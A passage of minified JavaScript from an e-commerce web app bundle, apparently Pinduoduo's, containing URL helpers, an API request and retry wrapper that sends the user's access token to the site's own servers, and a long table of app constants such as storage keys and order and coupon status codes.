function(e, t) { + if ("""" === t) + return [e]; + var n = e.indexOf(t); + return -1 === n ? [e] : [e.slice(0, n), e.slice(n + t.length)] + }(t, ""=""), + r = a()(n, 2), + i = r[0], + o = r[1], + s = void 0 === o ? """" : o; + e[decodeURIComponent(i)] = decodeURIComponent(s) + } + return e + }, {}) + } + + function c(e) { + if (0 === e.indexOf(""amcomponent://"")) { + var t = e.indexOf(""/"", ""amcomponent://"".length); + return -1 === t ? ""/"" : e.slice(t) + } + return i(e) ? (e = function(e) { + 0; + var t = document.createElement(""a""); + return t.href = e, + t + }(e)).pathname + e.search + e.hash : ""/"" === e.charAt(0) ? e : ""/"" + e + } + + function u(e, t) { + var n = l(t = t || """"), + r = o(Object.assign({}, n, e)); + return r ? [t.split(""?"")[0], r].join(""?"") : t + } + + function l(e) { + return s((e.split(""#"")[0] || """").split(""?"")[1] || """") + } + + function p(e) { + return function(e) { + if (0 === window.location.href.indexOf(""amcomponent://"")) + return c(e); + var t = document.createElement(""a""); + return t.href = e, + t.href + }(e) + } + }, + ""n2/S"": function(e, t, n) { + ""use strict""; + (function(e) { + var r = n(""b5fu""), + a = n(""xnWZ""), + i = n(""kk8N""), + o = n(""hfGb""), + s = n(""s1mm""), + c = n(""tWR7""), + u = n(""Fcpp""), + l = n(""3OdE""), + p = n(""wylq""), + d = n(""hQH6""), + h = n(""pTOB""), + f = n(""rvpN""), + m = l.a.error, + g = l.a.constant, + v = {}, + _ = function(e, t, n, a, i, o, s, u, l) { + var p = arguments.length > 9 && void 0 !== arguments[9] ? arguments[9] : {}; + if ((l = parseInt(l, 10) || 0) >= 500) + r.a.call(i); + else { + var d = t.indexOf(""?""), + h = """"; + d >= 0 && (h = t.substring(d + 1), + t = t.substring(0, d)); + var f = c.a.parseQuery(h), + m = f.retry || 0; + if (m < g.APIRetryLimit) { + var v = 2e3 * ++m; + l >= 500 && (v *= 10), + setTimeout(function() { + t = t + ""?"" + c.a.buildQuery(f, { + retry: m + }), + b(e, t, n, a, i, o, s, u, null, null, p) + }, v) + } else + r.a.call(i) + } + }, + b = function(t, n, l, v, b, w, S, C, A, I) { + var k = arguments.length > 10 && void 0 !== arguments[10] ? arguments[10] : {}; + if (window.__512_BLOCK_DISABLED || !Object(h.b)({ + url: n + })) { + try { + t = t.toUpperCase() + } catch (e) { + throw new Error(""apiRequest method should be a string"") + } + var E = ""POST"" === t && !a.b.isModuleVersion && !a.b.isTinyNativePlatform() && d.a.isGrey({ + name: ""no-options"" + }), + T = !a.b.isModuleVersion && !a.b.isTinyNativePlatform() && d.a.isGrey({ + name: ""options"" + }), + N = { + pdduid: r.a.getSelfUID() || parseInt(r.a.getCookieByName(g.CookieKey.UID), 10) || 0, + is_back: ""1"" === c.a.getParameter(""is_back"") ? ""1"" : null + }; + E && (N.__json = 1); + var x = !1; + 0 === n.indexOf(""http"") && (x = !0); + var O = n.split(""?""), + D = """"; + if (x) + D = n; + else { + var P = function(e) { + return !(!window.__THIRD_AREA && !Object({ + BROWSER: !0, + ISAVALON: !1, + BUNDLE_PLATFORM: ""production"" + }).THIRD_AREA) && Object(p.a)(e) + }(O[0]) ? y.apiDomainV5 : y.apiDomain; + D = P + [O[0], (O[1] ? O[1] + ""&"" : """") + c.a.buildQuery(N)].join(""?"") + } + if (!E && T) { + var R = function(e, t) { + for (var n = 0; n < t.length; n++) + if (-1 !== e.indexOf(t[n])) { + e = e.replace(t[n], location.host + ""/proxy/api""); + break + } + return e + }; + switch (location.hostname) { + case ""m.hutaojie.com"": + D = R(D, [""apiv2.hutaojie.com"", ""api.pinduoduo.com""]); + break; + case ""panduoduo.yangkeduo.com"": + case ""mobile.yangkeduo.com"": + D = R(D, [""apiv3.yangkeduo.com"", ""api.pinduoduo.com""]) + } + } + ""POST"" === t && (A = !0); + var M = function(e) { + if (null == e) + return 0; + var t = e.error_code; + return null == t ? null : ""number"" == typeof t ? t : parseInt(t, 10) + }, + L = function(e, t) { + var n = M(e); + if (t && (n && (t.statusCode = n), + void 0 !== t.statusCode && o.a.tracking(t)), + null == n) + r.a.call(v, e); + else { + var i = !0; + if (a.b.isModuleVersion) { + var c = a.b.getAppVersion(); + i = a.b.Current === a.b.IOS && r.a.compareVersion(c, ""4.45.0"") < 0 || a.b.Current === a.b.Android && r.a.compareVersion(c, ""4.40.0"") < 0 + } + if (54001 === n && i) { + var u = d.a.isGrey({ + name: ""psnl_floating_captcha"" + }), + l = document.createEvent(""CustomEvent""), + p = (e || {}).verify_auth_token; + l.initCustomEvent && l.initCustomEvent(u ? ""FLOATING_CAPTCHA"" : ""RISK_CONTROL"", !0, !0, { + verifyAuthToken: p + }), + localStorage.setItem(""VerifyAuthToken"", p), + document.dispatchEvent(l) + } + null != C && C || !s.a || r.a.call(s.a, n, e), + r.a.call(b, n, e) + } + }, + U = localStorage.getItem(""AccessToken"") || """", + W = localStorage.getItem(""VerifyAuthToken""); + if (a.b.isModuleVersion || a.b.isTinyNativePlatform()) { + var B = { + method: t, + url: D, + headers: { + ""Content-Type"": ""application/json;charset=UTF-8"", + ""p-mode"": ""1"", + Referer: ""file:///"" + c.a.fullURL(location.href) + }, + data: Object(f.a)(l) ? """" : JSON.stringify(l) + }; + B.headers.AccessToken = U, + W && (B.headers.VerifyAuthToken = W); + Date.now(); + i.a.callNative(""JSNetwork"", ""request"", B, function(e) { + var t = null; + try { + var n = decodeURIComponent(e.response); + ""string"" == typeof n && (t = JSON.parse(n)) + } catch (e) { + t = { + error_code: 0 + } + } + L(t) + }, function(e, o) { + var s = e ? e.error_code : 0; + u.a.trackingRecord({ + op: ""real_error"", + sub_op: ""api_error_app"", + url: t + "":"" + n, + params: JSON.stringify(l || {}), + page_url: location.href, + error_code: s + }), + a.b.isNativeLogVersion && i.a.callNative(""AMLog"", ""log"", { + message: n + "" failed, "" + JSON.stringify(l) + }), + A ? r.a.call(b, e, o) : _(t, n, l, v, b, w, S, C) + }) + } else { + var G = Object.assign({}, k.headers); + E ? (l = l || {}, + U && (l.AccessToken = U), + W && (l.VerifyAuthToken = W), + G[""Content-Type""] = ""text/plain;charset=UTF-8"") : (G.AccessToken = U, + W && (G.VerifyAuthToken = W), + G[""Content-Type""] = Object(f.a)(l) ? ""application/x-www-form-urlencoded;charset=UTF-8"" : ""application/json;charset=UTF-8""); + var Q = { + method: t, + body: Object(f.a)(l) ? null : JSON.stringify(l), + headers: G, + credentials: ""include"" + }, + j = Date.now(); + e(D, Q).then(function(e) { + if (e.status < 500) + return e.json().then(function(t) { + return { + status: e.status, + responseJSON: t + } + }); + var t = new Error(e.statusText); + return t.status = e.status, + e.json().then(function(e) { + throw t.data = e, + t.responseJSON = e, + t + }).catch(function() { + throw t.data || (t.responseJSON = { + error_code: 0 + }), + t + }) + }).then(function(e) { + if (e.status >= 200 && e.status < 300) + return e.responseJSON; + var t = new Error(e.responseJSON.error_msg || ""error""); + throw t.responseJSON = e.responseJSON, + t.status = e.status, + t + }).then(function(e) { + L(e, { + requestTime: j, + resTimeConsume: Date.now() - j, + reqData: l, + resData: e, + apiUrl: D, + statusCode: 200, + cmtURL: y.cmtURL + }) + }).catch(function(e) { + ! function(e, a) { + e && 512 === e.status && e.data && e.data.time && e.data.uri && Object(h.a)(e.data); + var i = null, + c = 0, + p = e && e.message; + null != e && (i = e.responseJSON, + c = M(i)), + a && c && (a.statusCode = c, + o.a.tracking(a)); + var d = p ? e.message : JSON.stringify(e), + f = { + op: ""real_error"", + sub_op: ""api_error"", + url: t + "":"" + D, + params: JSON.stringify(l || {}), + page_url: location.href, + error_message: d, + status_code: e && e.status, + error_code: c + }, + g = !1; + if (0 !== c || (u.a.trackingRecord(f), + g = !0, + A || p)) { + if (parseInt(c, 10) === parseInt(m.AuthenticationFailed.code, 10)) { + var y = document.createEvent(""HTMLEvents""); + y.initEvent(""FORCE_LOGIN"", !0, !0), + document.dispatchEvent(y) + } else + g || u.a.trackingRecord(f); + null != C && C || !s.a || r.a.call(s.a, c, i, f), + r.a.call(b, c, i) + } else + _(t, n, l, v, b, w, S, C, e.status, k) + }(e, { + requestTime: j, + resTimeConsume: Date.now() - j, + reqData: l, + resData: e.responseJSON, + apiUrl: D, + statusCode: e.status, + cmtURL: y.cmtURL + }) + }) + } + } + }, + y = l.a.get(location.host); + v = { + apiRetry: _, + apiRequest: b, + failHandler: s.a + }, + t.a = v + }).call(this, n(""BlQd"")) + }, + nGR4: function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return k + }); + var r = n(""MVZn""), + a = n.n(r), + i = n(""o0o1""), + o = n.n(i), + s = n(""yXPU""), + c = n.n(s), + u = n(""lwsE""), + l = n.n(u), + p = n(""W8MJ""), + d = n.n(p), + h = n(""a1gu""), + f = n.n(h), + m = n(""Nsbk""), + g = n.n(m), + v = n(""7W2i""), + _ = n.n(v), + b = n(""q1tI""), + y = n.n(b), + w = n(""19V+""), + S = n(""2z+c""), + C = n(""mG/U""), + A = (n(""17x9""), + n(""kMSe"")), + I = { + redirectUrl: ""/"", + requireLogin: !0, + fallbackCSR: !1, + beforeRender: function(e, t, n) { + return !0 + }, + renderSpinner: function() { + return y.a.createElement(E, null) + } + }; + + function k(e, t) { + return function(n) { + var r = function(t) { + function r() { + return l()(this, r), + f()(this, g()(r).apply(this, arguments)) + } + return _()(r, t), + d()(r, [{ + key: ""componentDidMount"", + value: function() { + var e = c()(o.a.mark(function e() { + var t = this; + return o.a.wrap(function(e) { + for (;;) + switch (e.prev = e.next) { + case 0: + if (!this.props.stores.some(function(e) { + return !e.isServerRendered + })) { + e.next = 6; + break + } + return e.next = 4, + Promise.all(this.props.stores.map(function(e) { + return e.initClientData(t.props.pageInfo) + })); + case 4: + e.next = 7; + break; + case 6: + this.props.stores.forEach(function(e) { + return e.prepareClientData() + }); + case 7: + this.props.stores.forEach(function(e) { + return e.finishInitLoading() + }); + case 8: + case ""end"": + return e.stop() + } + }, e, this) + })); + return function() { + return e.apply(this, arguments) + } + }() + }, { + key: ""componentDidCatch"", + value: function(e, t) { + throw console.log(""renderError:"", e), + console.log(""renderInfo:"", t), + e + } + }, { + key: ""render"", + value: function() { + return this.props.stores.every(function(e) { + return e.isFinishInitLoading + }) ? y.a.createElement(n, null) : r.appConfig.renderSpinner() + } + }], [{ + key: ""createStores"", + value: function() { + return Object.keys(e).reduce(function(t, n) { + return t[n] = new e[n], + t + }, {}) + } + }]), + r + }(y.a.Component); + return r.displayName = ""appProvider("".concat(n.displayName || n.name, "")""), + r.appConfig = a()({ + dealServerError: function(e) { + return ""needLogin"" === e.errorCode ? (console.warn(""string errorCode is deprecated, use number!""), + null) : e.errorCode === C.a.AUTHENTICATION_FAILED || t.fallbackCSR ? null : e + }, + errorTemplateName: t.serverTemplateName + }, I, {}, t), + Object(A.c)(r) + } + } + var E = function(e) { + function t() { + return l()(this, t), + f()(this, g()(t).apply(this, arguments)) + } + return _()(t, e), + d()(t, [{ + key: ""componentDidMount"", + value: function() { + S.a.checkRequestTimeout(), + w.a.showWithoutBg() + } + }, { + key: ""componentWillUnmount"", + value: function() { + S.a.clearRequestTimeout(), + w.a.hide() + } + }, { + key: ""render"", + value: function() { + return null + } + }]), + t + }(b.Component) + }, + nx6v: function(e, t, n) { + ""use strict""; + var r = { + CookieKey: { + AccessToken: ""PDDAccessToken"", + ApiUid: ""api_uid"", + WebpEnable: ""webp"", + UA: ""ua"", + AB: ""ab"", + SP: ""sp"", + GP: ""gp"", + UID: ""pdd_user_id"", + UIN: ""pdd_user_uin"", + UserGrade: ""egrp"", + EnableFriendSys: ""grayscaleCheck"", + EnableFriendSysV2: ""friendsGrayCheck"", + EnableFriendSysBlock: ""enableFriendSys"" + }, + LocalStorageKey: { + AccessToken: ""AccessToken"", + ShowAlertDelayLoad: ""ShowAlertDelayLoad"", + DelayLoadTimestamp: ""DelayLoadTimestamp"", + UID: ""0e4f9612e0fbe579"", + UIN: ""830d7c3797f9909d"", + NewbeeGift: ""0a6afe66ccefef54"", + FreeCouponsIndex: ""index_tz"", + DailyBonusPopupIndex: ""7a5de4367f649a03"", + CouponExpireIndex: ""f716c62e2e3288b1"", + SpikePopupIndex: ""d0866c111048f54d"", + CashCouponIndex: ""7653fa9ca40ead38"", + LastGoodsID: ""LASTGOODSID"", + LastVisitGoods: ""c3a4ac3acbffadc9"", + LastGroupOrderID: ""LASTGROUPORDERID"", + LastVisitGroup: ""72d02a9490f4271b"", + GoodsLikeData: ""LIKEDATA"", + MallCollection: ""mall_collection"", + SuperSpike: ""e4429941e04239f6"", + WeixinInfo: ""weixinInfo"", + ReloadAddresses: ""reloadAddresses"", + PartnerList: ""b493518d3aacfa04"", + OrderInfoCaches: ""ORDER_INFO_CACHES"", + CheckAppDownload: ""e1adaa118ffc8534"", + AppDownloadUsers: ""618bf2394a0be09f"", + InCacheOrderType: ""in_cache_order_type"", + Speical99: ""speical99"", + OnePurchase: ""onePurchase"", + LastRankIndex: ""LAST_RANK_INDEX"", + LastVisitData: ""lastVisitData"", + SearchHistory: ""SEARCH_HISTORY"", + FreeTrial: ""58b303885a50357c"", + FreeTrialAlert: ""freeTrialAlert"", + LastPaymentType: ""LastPaymentType"", + AfterPayed: ""afterpayed"", + IndexTopTab: ""indexTopTab"", + LastPersonalMsg: ""LastPersonalMsg"", + IphoneResultKey: ""LuckyWheelIphoneResult"", + AB: ""ab"", + SP: ""sp"", + GP: ""gp"", + UserGrade: ""egrp"", + UnpayedAlarm: ""92ca653d1cf78902"", + WeChatH5Pay: ""WeChatH5Pay"", + SubscribeStatus: ""c6476b07198e8483"", + ChatDetailErrorLog: ""chatDetailErrorLog"", + FlashGroupsEntryGroupOrderId: ""9442b710cca5b1f0"", + FriendsRecommendViewed: ""friendsRecommendViewed"", + TabbarUnreadNum: ""tabbarUnreadNum"", + TabbarTimelineUnread: ""TabbarTimelineUnread"", + EnableFriendSys: ""grayscaleCheck"", + EnableFriendSysV2: ""friendsGrayCheck"", + EnableFriendSysBlock: ""enableFriendSys"", + FlashGroupsCouponLimitHintExpire: ""63b3bfa7dfdf22f4"", + ChatListFirstVisit: ""chatListFirstVisit"", + ChatListBanner: ""C54EC9936654B0A7"", + PincardMuseumVisited: ""93FBEFC3DF68056D"", + TimelineReadStatus: ""55790604e73d05da"", + TimelineMarkWelcome: ""TimelineMarkWelcome"", + TimelineMarkRead: ""TimelineMarkRead"", + ForceContactIndex: ""forceContactIndex"", + GroupShareInfo: ""groupShareInfo"", + DuoduoGroupCouponWindow: ""duoduoGroupCouponWindow"", + DailyBonusSignTwiceSharedChannels: ""087F448C77D9F393"", + WxCheckPdd: ""WxCheckPdd"", + MissionInvitedMaskShownNo: ""723d889304ca174c"", + OrderPaidTimes: ""order_paid_times"" + }, + SessionStorageKey: { + PromotionActivitySpikeScrollLeft: ""pa_spike_scroll_left"", + CollectionMallIDsCheck: ""mall_ids_check"", + CollectionMallID: ""mall_id"", + NewListVersion: ""305c866edaf1428c"", + SubscribeContent: ""9d2fdf29802b5217"", + DelayReloadURL: ""ff1c05658e2b717c"", + ChatListIsRetry: ""chatListIsRetry"", + GoodsDetailData: ""6DDF639E6DDD937E"", + FlashGroupsPreviousData: ""1D4B94DE54811B5F"", + UserIsContactTester: ""879B8CDE4DEC97C9"", + UnpayedAlarmTime: ""unpayed_alarm_time"", + MallNewArrivalsLikeMallsAction: ""mall_like_action"", + DriftBottleInfo: ""driftBottleInfo"" + }, + ABTestSessionKey: { + ApiV3: ""vpc"" + } + }, + a = { + EventType: { + DEFAULT: 0, + LUCKY_DRAW: 1, + SPIKE: 2, + TZMD: 3, + GET_EXTRA_FOR_FREE: 4, + SUPER_SPIKE: 5, + NEW_USER_GROUP: 6, + FREE_TRIAL: 7, + CAPITAL_GIFT: 8, + CAPITAL_GIFT_LOTTERY: 9, + TZYY: 10, + DEPOSITE_GROUP: 11, + MULTIPLY_GOODS_DISCOUNT: 12, + LIMITED_TIME_FREE: 13, + THOUSAND_PEOPLE_GROUP: 14, + DUODUO_JINBAO: 15, + LIMITED_TIME_DISCOUNT: 16, + APP_NEWER_JOIN_GROUP: 17, + LIMITED_QUANTITY_DISCOUNT: 18, + WELFARE: 19, + LUCKY_DRAW_MUST_WIN: 20, + ACT_FREE_GROUP: 21, + SIGN_IN: 23, + MONTHLY_MOBILE_FARE: 24 + }, + GoodsType: { + DEFAULT: 1, + IMPORTS: 2, + OVERSEAS_TRANSSHIP: 3, + OVERSEAS_DM: 4, + MOBILE_DATA: 5, + MOBILE_FARE: 6, + TRADE_COUPON: 7, + QQ: 8, + GAS_CARD: 9, + COMPENSATION: 10, + WECHAT_RED_ENVELOPE: 11, + SIGN_IN_BONUS: 12, + AUDIO_VISUAL_MEMBER: 16 + }, + CategoriesType: { + CHARGE_CENTER: 81, + VIP_CHARGE: 3672 + } + }, + i = { + Default: 0, + Resubscribe: 1, + GroupBanner: 2, + NewUserGroup: 3, + ABAlert: 4, + LuckyWheel: 5, + AfterpayAlert: 6, + GPAlert: 7, + PPAlert: 8, + DefaultV2: 9, + SMAlert: ""SMAlert"", + PortalSubscribeTopBanner: ""PortalSubscribeTopBanner"", + GoodsSubscribeTopBanner: ""GoodsSubscribeTopBanner"", + NewYearSubscribeTopBanner: ""NewYearSubscribeTopBanner"", + CouponShareSubscribeTopBanner: ""CouponShareSubscribeTopBanner"", + BirthpetJoinGame: ""BirthpetJoinGame"", + BirthpetShareCard: ""BirthpetShareCard"", + GroupShareForceContact: ""GroupShareForceContact"", + FreeGroupForceContact: ""FreeGroupForceContact"" + }, + o = { + CouponBatchType: { + GroupFreeCoupon: 7, + MallCoupon: 8, + GoodsCoupon: 9, + VirtualGoods: 13, + TZYYCoupon: 16, + CategoryCoupon: 17, + RepeatedCoupon: 18 + }, + CouponDisplayType: { + GroupFreeCoupon: 7, + MallCoupon: 8, + TradeCoupon: 9, + GoodsTypeCoupon: 17, + Category: 18, + App: 19, + AppMobileFare: 20, + Cash: 21, + PddCouponDisplayType: 23, + Anniversary: 24, + DoubleEleven: 25, + Exclusive: 26, + LittleCash: 27, + Walfare: 28 + }, + CouponStatus: { + Disabled: 0, + Available: 1, + Locked: 2, + Used: 3 + }, + AppDownloadUrl: { + CouponList: ""download.html?src=weixin&campaign=app_coupon&cid=appcoupon_list"", + CouponListULink: ""download.html?src=weixin&campaign=app_coupon&cid=appcoupon_list"", + QQCouponList: ""download.html?src=qq&campaign=qq_download&cid=appcoupon_list"", + QQCouponListULink: ""download.html?src=qq&campaign=qq_download&cid=appcoupon_list"", + IndexPopup: ""download.html?src=weixin&campaign=app_coupon&cid=appcoupon_popup"", + CouponShare: ""download.html?src=weixin&campaign=app_coupon&cid=appcoupon_aoc"", + Default: ""download.html?src=weixin&campaign=app_coupon&cid="" + }, + CouponPush: { + API: ""coupon/take_coupon_use_token"", + QUERY_DETAIL_API: ""api/promotion/query_user_batch_detail?batch_id={0}"", + RECOMMEND_NEW_API: ""recommendation/coupon_push?offset={0}&count={1}"", + LANG_TAKE_FAILED: ""不符合优惠券领取条件"" + } + }, + s = { + TrackingChannels: [""src"", ""from"", ""campaign"", ""cid"", ""msgid""], + TrackingEvent: { + OpenAddress: ""open_address"", + SkipAppGroup: ""skip_app_group"", + AlertAppDownload: { + Show: ""a_a_d_s"", + Download: ""a_a_d_d"", + Close: ""a_a_d_c"" + } + }, + ReferPageKeys: [""refer_page_name"", ""refer_page_section"", ""refer_page_element"", ""refer_page_id""], + ReferShareKeys: [""refer_share_id"", ""refer_share_uid"", ""refer_share_channel"", ""refer_share_form""], + ReferShareMapShort: { + _sid: ""refer_share_id"", + _suid: ""refer_share_uid"", + _sc: ""refer_share_channel"", + _sf: ""refer_share_form"" + } + }, + c = { + ShareChannel: { + Unknown: ""unknown"", + AppMessage: ""message"", + Timeline: ""timeline"", + QQ: ""qq"", + QQZone: ""qzone"", + QQWeibo: ""qq_weibo"", + SinaWeibo: ""weibo"" + }, + ShareResult: { + Success: ""success"", + Fail: ""fail"", + Cancel: ""cancel"", + Complete: ""complete"" + }, + ShareFakeUrl: { + domain: ""http://hz.pin18pin.com/"", + start: ""https://open.weixin.qq.com/connect/oauth2/authorize?response_type=code&scope=snsapi_base&appid={0}&redirect_uri={1}"" + } + }, + u = { + WaterMark: { + Default: ""!share_v2"", + WeChatMsg: ""!share_v3"", + Share: ""!share"", + Transparent: ""!transparent"", + None: """", + NoLogo: ""!share_v4"", + Safe: ""!share_safe"", + Flagship: ""!share_flagship"" + }, + emotionImgCDNDomain: ""https://im-emoticon.pinduoduo.com/"", + ImgCDNDomain: ""http://pinduoduoimg.yangkeduo.com/"", + AliImageCDN: [""pddtestimg.yangkeduo.com"", ""omsproductionimg.yangkeduo.com"", ""img-cn-shanghai.aliyuncs.com"", ""avatar.yangkeduo.com""], + TencentImageCDN: [""images.pinduoduo.com"", ""pinduoduoimg.yangkeduo.com"", ""testimg.yangkeduo.com"", ""img1.yangkeduo.com""], + ImageCDNType: { + DEFAULT: 0, + ALI: 1, + TENCENT: 2 + }, + TENCENT_COMPRESS_DEFAULT: ""imageMogr2/format/webp/quality/50"" + }, + l = { + PromptType: { + Default: ""prompt_default"" + } + }, + p = { + AlertType: { + Alert: { + Default: ""alert_default_v3"", + AlertNewUserGroup: ""alert_new_user_group"", + AlertAppDownload: ""alert_app_download"", + AlertOpenAppNotification: ""alert_open_app_notification"", + AlertCouponSend: ""alert_coupon_send"", + AlertCouponSendV2: ""alert_coupon_send_v2"", + AlertFreeTrial: ""alert_free_trial"", + IDCardHint: ""ID_card_hint"", + FCLink: ""fc_link"", + FlashGroupsRules: ""flash_groups_rules"", + AssistFreeCouponRules: ""assist_free_coupon_rules"" + }, + Confirm: { + Default: ""confirm_default_v3"", + ConfirmShipment: ""confirm_shipment"", + ConfirmAppGroup: ""confirm_app_group"", + ConfirmWeChatWapPay: ""confirm_wechat_wap_pay"", + ConfirmWeChatH5Pay: ""confirm_wechat_h5_pay"", + ConfirmAppUpdate: ""confirm_app_udpate"", + ConfirmAppUpdateV2: ""confirm_app_udpate_v2"", + ConfirmAppDownload: ""confirm_app_download"", + ConfirmAppDownloadV2: ""confirm_app_download_v2"", + ConfirmJSPhotoAppUpdate: ""confirm_jsphoto_app_update"", + ConfirmAfterGroupShare: ""confirm_after_group_share"", + ConfirmDefaultV2: ""confirm_default_v2"", + UnshareCancel: ""unshare_cancel"", + UnpayedAlarm: ""unpayed_alarm"", + AttendanceDownload: ""attendance_download"", + AttendanceSignResult: ""attendance_sign_result"" + } + } + }, + d = { + SpecGroupDomain: ""m.ishangtong.com"", + GoodsEventTypeWhiteList: [a.EventType.LUCKY_DRAW, a.EventType.FREE_TRIAL] + }, + h = u.ImgCDNDomain, + f = { + AuthorizationType: { + SMS: 1, + Weibo: 2, + WeChat: 3, + QQ: 4 + }, + PaymentType: { + AliPay: 1, + WeChat: 2, + QQPay: 3, + ApplePay: 4, + AliPayDirectDebit: 5, + FriendPay: 6, + HBInstallmentPay: 7, + AliPayV2: 8, + UnionPay: 9 + }, + foldedPaymentTypes: [1, 5], + GroupStatus: { + OnGoing: 0, + Success: 1, + Failed: 2 + }, + GroupRole: { + NotInGroup: 0, + Member: 1, + Lead: 2 + }, + RegionType: { + Province: ""1"", + City: ""2"", + District: ""3"" + }, + Region: { + China: ""1"" + }, + AddressClass: { + Default: ""1"", + Common: ""0"" + }, + Order: { + SourceType: { + Default: 0, + Auto: 1 + } + }, + OrderStatus: { + Unconfirmed: ""0"", + Confirmed: ""1"", + Cancelled: ""2"" + }, + PaymentStatus: { + Unpayed: ""0"", + Payed: ""2"", + RefundApplied: ""3"", + Refunded: ""4"" + }, + ShipmentStatus: { + Unshipped: ""0"", + Shipping: ""1"", + Received: ""2"" + }, + rateStatus: { + rateEnable: ""1"", + rateUnable: ""0"" + }, + CommentStatus: { + NoComment: 0, + ReevaluateEnable: 1, + Reevaluated: 2, + EvaluateUnable: 3, + ReevaluatedUnable: 4 + }, + OrderCombinedStatus: { + Unpayed: 0, + Unconfirmed: 1, + Confirmed: 2, + Shipping: 3, + Received: 4, + Cancelled: 5, + UnshippedRefunding: 6, + UnshippedRefunded: 7, + ShippingRefunding: 8, + ShippingRefunded: 9, + Expired: 10, + UnconfirmedRefunding: 11, + UnconfirmedRefunded: 12, + ConfirmedRefunding: 13, + ReceivedRefunded: 14, + Deleted: 15 + }, + CompaintConstFlowType: { + COMPLAINT_NULL_M1: -1, + COMPLAINT_INIT_0: 0, + COMPLAINT_SALES_DEALING_1: 1, + COMPLAINT_SERVICE_INIT_2: 2, + COMPLAINT_SERVICE_DEALING_3: 3, + COMPLAINT_REFUNDING_4: 4, + COMPLAINT_REFUNDED_SUCC_5: 5, + COMPLAINT_CANCELED_6: 6, + COMPLAINT_FAILED_7: 7, + COMPLAINT_END_8: 8, + COMPLAINT_WAIT_USER_DEAL_9: 9, + COMPLAINT_WAIT_USER_SEND_10: 10, + COMPLAINT_WAIT_SALES_SEND_COMFIRM_11: 11, + COMPLAINT_FAIL_12: 12, + COMPLAINT_FAIL_EXPIRE_13: 13, + COMPLAINT_WAIT_SALES_SEND_DEAL_14: 14, + COMPLAINT_WAIT_USER_DEAL_15: 15, + COMPLAINT_EXCHANGE_FINISH_16: 16, + COMPLAINT_EXCHANGE_CLOSE_17: 17, + COMPLAINT_WAIT_USER_CONFIRM_18: 18 + }, + SkuStatus: { + OnSale: ""ONSALE"", + InStock: ""INSTOCK"", + Unavailable: ""UNAVAILABLE"" + }, + WaterMark: u.WaterMark, + CDNConstant: u, + Mall: { + NoCS: ""此商家暂未开启在线客服功能"", + NoCSOnline: { + NormalMall: ""当前没有在线客服,在线客服的服务时间是9:00~20:00。您的话将会变成留言"", + DefaultMall: ""在线客服的服务时间是9:00~18:00。您的话将会变成留言"" + }, + PddMall: [1, 11], + ServiceStart: 9, + ServiceEnd: { + NormalMall: 20, + DefaultMall: 18 + } + }, + GoodsType: a.GoodsType, + EVENT_TYPE: a.EventType, + OrderType: { + All: 0, + PendingPay: 1, + Shipping: 2, + Collecting: 3, + Evaluating: 4 + }, + OrderSequence: [0, 1, 5, 2, 3, 4], + OrderDesc: { + Received: ""已签收"" + }, + ForceContactBound: 5, + ForceContactHighBound: 10, + OFFICIAL_MALL_ID: { + Online: ""606"", + Hutaojie: ""1"", + Weipin: ""16"" + }, + PROBLEM_TYPE_DESC: { + 1: ""未收到货"", + 2: ""水果破损腐烂"", + 3: ""商品少发漏发发错"", + 4: ""商品与描述不一致"", + 5: ""退款过程遇到问题"", + 0: ""其他"" + }, + CookieKey: r.CookieKey, + LocalStorageKey: r.LocalStorageKey, + SessionStorageKey: r.SessionStorageKey, + AlertType: p.AlertType, + ShareChannel: c.ShareChannel, + IPServer: { + Host: """", + RegionType: { + Province: ""province"", + Region: ""region"", + RegionInfo: ""region_info"" + }, + BanRegions: [""广东 广州"", ""广东 ""], + BanProvinces: [""广东""] + }, + BanRegions: [""广东 广州"", ""广东 ""], + Platform: { + WeChat: ""wechat"", + IOS: ""ios"", + Android: ""Android"", + Weibo: ""weibo"", + QQ: ""qq"", + WP: ""wp"", + Unknown: ""unknown"" + }, + Upaiyun: { + DefaultImg: h + ""base/default.png"", + DefaultImgSquare: h + ""base/default_square.png"", + BaseAvatar: h + ""base/avatar_4_64.png"", + ShareImg: h + ""base/share_logo.jpg"" + }, + Device: { + Android: ""android"", + IPad: ""ipad"", + IPhone: ""iphone"", + WP: ""windows phone"" + }, + APIRetryLimit: 3, + CDNImgHostName: h, + ImprTime: 1e3, + ImprTimeTest: 700, + CouponBatchType: o.CouponBatchType, + CouponDisplayType: o.CouponDisplayType, + CouponStatus: o.CouponStatus, + ContactURLType: { + LowPrice: 1, + HighPrice: 2 + }, + TrackingChannels: s.TrackingChannels, + TrackingEvent: s.TrackingEvent, + TrackingKeys: s, + LotteryStatus: { + Start: 0, + BeforeConfirm: 1, + Confirm: 2, + Complete: 3 + }, + NativeStorageKey: { + CheckUpdateTime: ""check_update_time"" + }, + AppDownloadUrl: { + Default: ""download.html"", + IOS: ""https://itunes.apple.com/cn/app/pin-duo-duo/id1044283059?l=zh&mt=8"", + Android: ""http://pinduoduo.oss-cn-shanghai.aliyuncs.com/android/pinduoduo_latest.apk"" + }, + AppCommentsUrl: { + IOS: ""itms-apps://itunes.apple.com/us/app/apple-store/id1044283059"", + Android: ""market://details?id=com.xunmeng.pinduoduo"" + }, + QueryTag: { + Skip: { + AppGroup: ""app_group"" + } + }, + EventType: { + Default: 0, + Lottery: 1, + Spike: 2, + FreeGroup: 3, + TwoForOne: 4, + SuperSpike: 5, + NewUserGroup: 6, + FreeTrial: 7, + CapitalGift: 8, + CapitalGiftLottery: 9, + Tzyy: 10, + DepositeGroup: 11 + }, + LastVisitDuration: { + Goods: 864e5, + Group: 864e5 + }, + NoLongerPromptAppDownload: ""-1"", + AppDownloadUsersMaxNum: 10, + ForceContactUIDThreshold: { + minNumber: 2, + maxNumber: 4 + }, + GoodsCat: { + Fruit: 84, + Crab: 103 + }, + PromotionType: { + SuperBrand: ""super_brand"", + Event618: ""mid_year"" + }, + AuthorizeRequest: { + Time: ""7200000"", + Length: 32 + }, + GroupOrderType: { + Default: 0, + ZCJB: 1 + }, + GroupBannerV2AppID: [1, 2, 3, 25], + QRCodeType: i, + CompressPipe: { + Default: ""750w_1l_50Q"", + Notification: ""100w_1l_50Q"", + GroupShare: ""434w_0l_90Q"" + }, + ApplePaySupportStatus: { + Support: 0, + NotSupport: 1, + VersionTooLow: 2, + NotBindChinaUnionPayCard: 3 + }, + BeiTaiRate: 60, + ForceContactAppIDs: [1, 2, 3, 26], + GalleryType: { + Top: ""1"", + Detail: ""2"", + Video: ""6"" + }, + WechatAuthType: { + Base: ""BASE"", + UserInfo: 